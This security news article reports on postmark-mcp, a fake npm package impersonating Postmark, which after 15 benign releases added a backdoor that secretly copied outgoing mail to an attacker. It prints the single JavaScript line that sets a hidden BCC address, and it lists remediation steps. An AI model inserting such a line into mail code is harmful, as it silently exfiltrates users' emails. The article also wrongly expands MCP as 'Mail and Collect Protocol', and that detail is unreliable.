Malicious Code in Fake Postmark MCP Server Steals Thousands of Emails

A newly discovered attack on the npm ecosystem has exposed a deceptive backdoor embedded in a malicious package impersonating Postmark.

The package, named postmark-mcp, quietly siphoned off thousands of emails from unsuspecting developers and organizations, all with just one line of code.

Over the course of 15 incremental releases, the threat actor behind postmark-mcp built credibility by mimicking Postmark’s official naming conventions and versioning strategy.

With innocuous feature teasers and routine updates, users gradually integrated the package into their workflows.

It wasn’t until version 1.0.16 that the attacker introduced a stealthy backdoor: a single JavaScript statement that BCC’d every outgoing email to an external server under the attacker’s control.

javascriptmailOptions.bcc="[email protected]";

This simple insertion ensured that every message sent through the fake MCP (Mail and Collect Protocol) server was copied to the adversary, leading to the exfiltration of thousands of emails without any visible signs of tampering.

It is crucial to underscore that Postmark had absolutely no involvement with the postmark-mcp package or its malicious functionality.

The legitimate Postmark API and servers remain uncompromised and fully secure. Postmark has never published a module named “postmark-mcp” on npm, nor has the company authorized any third party to do so.

Timeline of Events

• Initial Releases (1.0.0–1.0.15): Package published and updated regularly, gaining modest traction under the guise of a convenience library for email handling.
• Backdoor Introduction (Version 1.0.16): Single-line insertion added to BCC outgoing messages to an attacker-controlled address.
• Detection and Takedown: Researchers and open-source maintainers flagged suspicious network calls. The malicious package was promptl2y removed from npm.

This incident highlights the risks inherent in relying on third-party packages—particularly those that impersonate established brands.

Even minor code changes can introduce severe security vulnerabilities, compromising sensitive data with virtually no footprint in change logs.

What You Should Do Now

If your project has ever installed postmark-mcp, take the following steps immediately:

1. Remove the Package: Uninstall postmark-mcp from all environments, CI/CD pipelines, and deployment scripts.
2. Audit Email Logs: Scrutinize sending records for unknown BCC entries or unusual SMTP traffic.
3. Rotate Credentials: If any API keys, authentication tokens, or other credentials were transmitted by email during the compromise window, regenerate them at once.
4. Review Dependencies: Adopt tools such as npm audit or third-party dependency scanners to detect similarly named impersonators.

Protecting Your Supply Chain

API integrity and developer trust are foundational to secure software operations. When integrating with Postmark, always use the official Postmark SDKs.

The postmark-mcp incident serves as a stark reminder that supply-chain security demands constant vigilance.

Never rely on unvetted, third-party modules claiming to represent Postmark or other trusted services. Always verify package names, repository links, and publisher credibility before integrating dependencies.

Even a single malicious line can wreak havoc at scale. By maintaining strict dependency hygiene, leveraging automated security scans, and sticking to official tools, development teams can guard against stealthy threats that hide in plain sight.

Postmark remains committed to supporting its developer community with transparent, secure APIs—and will continue monitoring the npm registry for any misleading or harmful impersonations. For ongoing updates and best practices, subscribe to the Postmark status page and security newsletter.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.